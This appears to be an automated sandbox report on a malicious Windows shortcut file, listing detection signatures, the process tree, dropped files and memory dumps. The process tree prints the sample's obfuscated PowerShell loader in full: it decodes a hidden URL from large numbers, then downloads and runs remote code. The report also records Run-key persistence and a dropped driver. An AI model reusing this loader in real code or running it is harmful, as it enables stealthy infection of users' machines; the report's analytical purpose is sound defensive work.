Analysis
- max time kernel
149s - max time network
139s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_001127393551.lnk
- Size 2KB
- Sample260729-ntwvaashqb
- SHA256 345c6d6bd832e7387b1ed1c30f2ccd88dcfe30afc49403b32f398a2a9bb785f7
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_001127393551.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$v56222=87;$d37rs8i0=[bigint]::Parse('866998908510762956476866074007725489454790744122374');$hhi8c=[bigint]::Parse('866998908510762363309775615908758294397521595285661');$d37rs8i0=$d37rs8i0-$hhi8c;$x7vjv=@();while($d37rs8i0 -gt 0){$x7vjv+=[char][int]([bigint]::Remainder($d37rs8i0,256));$d37rs8i0=[bigint]::Divide($d37rs8i0,256)};.([scriptblock]::Create((irm(-join$x7vjv))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$v56222=87;$d37rs8i0=[bigint]::Parse('866998908510762956476866074007725489454790744122374');$hhi8c=[bigint]::Parse('866998908510762363309775615908758294397521595285661');$d37rs8i0=$d37rs8i0-$hhi8c;$x7vjv=@();while($d37rs8i0 -gt 0){$x7vjv+=[char][int]([bigint]::Remainder($d37rs8i0,256));$d37rs8i0=[bigint]::Divide($d37rs8i0,256)};.([scriptblock]::Create((irm(-join$x7vjv))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\madph6_yec_spps_upd_dmk_lf9a7aaedab9b46\psl.exe"C:\Users\Admin\AppData\Local\madph6_yec_spps_upd_dmk_lf9a7aaedab9b46\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
eqknro_hri_ptbewwi.zip
VCRUNTIME140.dll
VCRUNTIME140_1.dll
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
DCRCVDrv.sys
memory/1228-116-0x00007FF7D4810000-0x00007FF7D4825000-memory.dmp
memory/4216-224-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-148-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-1380-0x0000000006E10000-0x00000000073CA000-memory.dmp
memory/4216-1379-0x00000000067B0000-0x0000000006842000-memory.dmp
memory/4216-1376-0x0000000005730000-0x0000000005796000-memory.dmp
memory/4216-121-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-122-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-128-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-132-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-135-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-168-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-194-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-204-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-214-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-216-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-236-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-235-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-124-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-126-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-130-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-136-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-138-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-140-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-142-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-144-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-146-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-150-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-154-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-115-0x0000000000400000-0x0000000000470000-memory.dmp
memory/4216-156-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-119-0x0000000002F20000-0x0000000002F3A000-memory.dmp
memory/4216-120-0x00000000054C0000-0x00000000054EC000-memory.dmp
memory/4216-152-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-192-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-242-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-240-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-238-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-232-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-230-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-228-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-226-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-158-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-222-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-220-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-218-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-212-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-210-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-208-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-206-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-202-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-200-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-198-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-196-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-190-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-188-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-186-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-185-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-182-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-180-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-178-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-176-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-174-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-172-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-170-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-166-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-164-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-162-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4216-160-0x00000000054C0000-0x00000000054E6000-memory.dmp
memory/4388-99-0x0000000000010000-0x000000000003D000-memory.dmp
memory/4684-74-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-28-0x00000280574A0000-0x00000280579C8000-memory.dmp
memory/4684-17-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-1-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-16-0x0000028056DA0000-0x0000028056F62000-memory.dmp
memory/4684-5-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-6-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-7-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-8-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-9-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-10-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-11-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-12-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-0-0x00007FF96A6EF000-0x00007FF96A6F0000-memory.dmp
memory/4684-4-0x000002803E650000-0x000002803E672000-memory.dmp
memory/4684-15-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-13-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-31-0x0000028056CC0000-0x0000028056CD2000-memory.dmp
memory/4684-29-0x0000028056C90000-0x0000028056C9A000-memory.dmp
memory/4684-14-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-27-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-25-0x0000028056CC0000-0x0000028056CEA000-memory.dmp
memory/4684-26-0x0000028056CC0000-0x0000028056CE4000-memory.dmp
memory/4684-24-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-23-0x00000280568A0000-0x00000280568AA000-memory.dmp
memory/4684-22-0x0000028056BD0000-0x0000028056C82000-memory.dmp
memory/4684-21-0x00007FF96A560000-0x00007FF96AF04000-memory.dmp
memory/4684-20-0x0000028056880000-0x000002805689E000-memory.dmp
memory/5852-748-0x0000000000630000-0x00000000006A0000-memory.dmp